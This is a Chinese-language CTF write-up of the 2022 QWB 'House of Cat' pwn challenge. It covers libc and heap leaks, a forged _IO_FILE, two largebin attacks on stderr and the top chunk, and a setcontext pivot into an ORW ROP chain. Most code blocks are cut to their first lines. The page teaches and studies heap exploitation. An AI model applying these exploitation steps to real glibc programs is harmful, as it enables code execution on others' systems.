[强网杯 2022]House of Cat
前言:作为一道典型的 House Of Cat,很多博主都发放了题目链接,NSSCTF 平台上也有该题目,可以自行复现

程序分析:
main
1 | void __fastcall __noreturn main(_BYTE *p_s_1, char **p_s, char **a3) |
分析发现题目开启沙箱,简单修改函数名
sub_19D6
1 | unsigned __int64 __fastcall sub_19D6(char *p_s) |
sub_1A50
1 | __int64 __fastcall sub_1A50(char *p_s, __int64 a2) |
sub_1DF3
1 | ssize_t __fastcall sub_1DF3(__int64 p_s) |
首先我们要先进行登录,然后堆块管理:具体命令根据上面分析后如下:
LOGIN | r00t QWB QWXFadmin
CAT | r00t QWB QWXF$\xff
- 1. (
LOGIN):验证你的身份是admin,赋予你高级权限(全局变量标志位置1)。只需解锁一次。 - 2. (
CAT):每次你想要执行堆操作(增删改查)时,都必须携带特定格式的令牌(以$分隔并附带\xff字节)
add
1 | ssize_t add() |
delete
1 | void delete() |
show
1 | ssize_t show() |
edit
1 | ssize_t edit() |
EXP 思路:
封装函数:
1 | io.sendafter("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin") |
泄露 libc_base 和 heap_base
1 | add(0,0x420) # chunk 0 |

- 利用 show 分别泄露 fdbk 指向的 main_arena 和 fd_nextbk_next 指向的 largebin 堆地址
1 | io.recvuntil("Context:\n") |

gadgets
1 | setcontext = libc_base + libc.sym["setcontext"] |
ORW
1 | flag_addr = heap_base + 0xb00 + 0x230 |
ORW 已经见过很多次了,这里不再多做强调,简单分析一下偏移量的计算吧:
- 我们这里把 chunk3 作为 ORW 的地址,对于 heap_base 的偏移是 0xb00,内容地址要 + 0x10 = 0xb10
- ORW 链的长度是 0xD0
1 | struct _IO_FILE |
伪造 IO_FILE House of Cat
1 | fake_io_addr = heap_base + 0xb00 # 计划将 fake IO 放在这里的堆上 |
第一次 largebin_attack
1 | free(2) # Unsorted Bin |
- 我们用 UAF 把 chunk 0 的
bk_nextsize修改为stderr - 0x20。 - 当我们
add(4, 0x430)时,由于没有匹配的块,malloc会遍历 Unsorted Bin,把 chunk 0 从中取出来,插入到 Large Bin 中。 - Largebin_attack:
chunk->bk_nextsize->fd_nextsize = chunk = stderr - 导致系统的
stderr指针现在指向了堆上的chunk 0(以及我们紧挨着伪造的fake_IO_FILE)。
第二次 Large Bin Attack:破坏 Top Chunk
1 | add(5,0x440) # 申请进入后续的 Large Bin |
重复上述 Large Bin Attack 的手法,但这次修改的指针目标是 top_chunk + 3 - 0x20。
- 当接下来再次触发 Large Bin 插入时,利用错位,会把小端序的 size 篡改为堆地址 >> 3 = 0x56 触发 sysmalloc
触发 malloc_assert
1 | io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff") |
- 程序尝试分配
0x450大小的内存。 malloc会先把刚才释放的 chunk 8 排入 Large Bin触发第二次 LargeBin Attack,改写top_chunk_sizemalloc发现现有的 free 堆块都无法满足0x450的大小,只能求助于top_chunk。malloc检查top_chunk发现非法 size,于是抛出异常,调用malloc_printerrmalloc_printerr在输出错误信息时,会刷新和调用stderr流。- 由于
stderr已经在第一次 Attack 中被我们劫持到了堆上的fake_IO_FILE,程序跳转到堆上。 - 经过 House of Cat ,
setcontext改变栈指针,最终执行 ROP 链打印 Flag
总 EXP:
1 | from pwn import * |

更新: 2026-04-30 14:11:00
原文: https://www.yuque.com/idcm/wnemg9/oofxp5teigufu212